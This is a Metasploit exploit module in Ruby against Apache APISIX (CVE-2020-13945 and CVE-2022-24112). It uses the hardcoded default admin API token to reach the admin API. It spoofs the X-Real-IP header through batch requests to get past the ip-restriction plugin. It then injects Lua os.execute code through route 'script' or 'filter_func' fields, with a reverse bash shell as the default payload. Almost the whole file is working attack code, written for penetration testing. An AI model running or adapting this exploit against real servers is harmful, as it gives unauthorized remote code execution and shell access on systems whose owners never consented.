##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'APISIX Admin API default access token RCE',
        'Description' => %q{
          Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
          all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
          version. This module also leverages another vulnerability to bypass the IP restriction plugin.
        },
        'Author' => [
          'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
          'YuanSheng Wang <membphis[at]gmail.com>' # discovered
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2020-13945'],
          ['CVE', '2022-24112'],
          ['URL', 'https://github.com/apache/apisix/pull/2244'],
          ['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
        ],
        'DisclosureDate' => '2020-12-07',
        'Arch' => ARCH_CMD,
        'Platform' => %w[unix],
        'Targets' => [
          [
            'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
      OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
      OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
    ])
  end

  def check
    print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
    # batch request is the preferred method because it bypass the ip-restriction plugin
    res = nil
    if batch_request_enabled?

      pipeline = [
        {
          method: 'GET',
          path: "#{target_uri.path}/admin/routes"
        }
      ]
      res = batch_request(batch_body(pipeline))
      vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

      pipeline = [
        {
          method: 'GET',
          path: "#{target_uri.path}/admin/routes/index"
        }
      ]
      res = batch_request(batch_body(pipeline))

    else
      vprint_error('The batch-requests plugin is not enabled')

      vprint_good('There is direct access to the routes using the provided token') if direct_access?

      res = apisix_request({
        'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
        'method' => 'GET'
      })

    end
    unless res && res.headers.key?('Server')
      return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
    end

    res.headers['Server'].match(%r{(.*)/([\d|.]+)$})

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    if server && server.match(/APISIX/)
      vprint_status("Found an #{server} #{version} http server header")
      return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
    end
    return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
  end

  def exploit
    # batch request is the preferred method because it bypass the ip-restriction plugin
    if batch_request_enabled?
      @payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
      filter_func_exec
      # trigger the payload
      apisix_request({
        'uri' => normalize_uri(@payload_uri),
        'method' => 'GET'
      })
    else
      add_route
    end
    handler
  end

  def cleanup
    return unless @payload_uri

    data = {
      'uri' => @payload_uri
    }
    pipeline = [
      {
        'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
        'method' => 'DELETE',
        'body' => JSON.dump(data)
      }
    ]
    vprint_status("Deleting route #{@payload_uri}")
    # remove the route
    res = batch_request(batch_body(pipeline))
    vprint_error('Unable to delete the route') unless res&.code == 200
  end

  def apisix_request(params = {})
    params.merge!({
      'ctype' => 'application/json',
      'headers' => {
        'X-API-KEY' => datastore['API_KEY'],
        'Accept' => '*/*',
        'Accept-Encoding' => 'gzip, deflate'
      }
    })

    send_request_cgi(params)
  end

  # Using batch request to bypass ip-restriction policies (CVE-2022-24112)
  def batch_request(data = nil)
    params = {
      'uri' => normalize_uri(target_uri.path, '/batch-requests'),
      'method' => 'POST'
    }
    params.merge!({ 'data' => data }) if data

    apisix_request(params)
  end

  def batch_body(pipeline = [])
    headers = {
      'X-Real-IP': datastore['ALLOWED_IP'].to_s,
      'X-API-KEY' => datastore['API_KEY'].to_s,
      'Content-Type' => 'application/json'
    }

    {
      'headers' => headers,
      'timeout' => 1500,
      'pipeline' => pipeline
    }.to_json
  end

  def base_data
    {
      'uri' => Rex::Text.rand_text_alpha_lower(6),
      'upstream' => {
        'type' => 'roundrobin',
        'nodes' => { Faker::Internet.domain_name.to_s => 1 }
      }
    }
  end

  def add_route
    # This method use the script parameter to execute the payload
    stub = "os.execute('#{payload.encoded.gsub(/(['\\])/, '\\\\\\1')}');"
    # binding.pry
    data = base_data.merge({
      'script' => stub
    })
    uri = normalize_uri(target_uri.path, '/admin/routes')
    if batch_request_enabled?
      pipeline = [
        {
          'method' => 'POST',
          'path' => uri,
          'body' => data
        }
      ]
      batch_request(batch_body(pipeline))
    else
      params = {
        'method' => 'POST',
        'uri' => uri,
        'data' => JSON.dump(data)
      }
      apisix_request(params)
    end
  end

  def filter_func_exec
    # This method use the filter_func parameter to execute the payload
    stub = "function(vars) os.execute('#{payload.encoded.gsub(/(['\\])/, '\\\\\\1')}'); return true end"

    data = base_data.merge({
      'uri' => @payload_uri,
      'name' => Rex::Text.rand_text_alpha_lower(6),
      'filter_func' => stub
    })
    if batch_request_enabled?
      pipeline = [
        {
          'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
          'method' => 'PUT',
          'body' => JSON.dump(data)
        }
      ]
      # add the route
      res = batch_request(batch_body(pipeline))
      vprint_error('Unable to create route') unless res.code == 200
    else
      params = {
        'method' => 'PUT',
        'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
        'data' => JSON.dump(data)
      }
      apisix_request(params)
    end
  end

  def direct_access?
    res = apisix_request({
      'uri' => normalize_uri(target_uri.path, '/admin/routes'),
      'method' => 'GET'
    })

    return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)

    true
  end

  def batch_request_enabled?
    res = apisix_request({
      'uri' => normalize_uri(target_uri.path, '/batch-requests'),
      'method' => 'POST'
    })

    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
    return false if res.code == 404

    true
  end

end
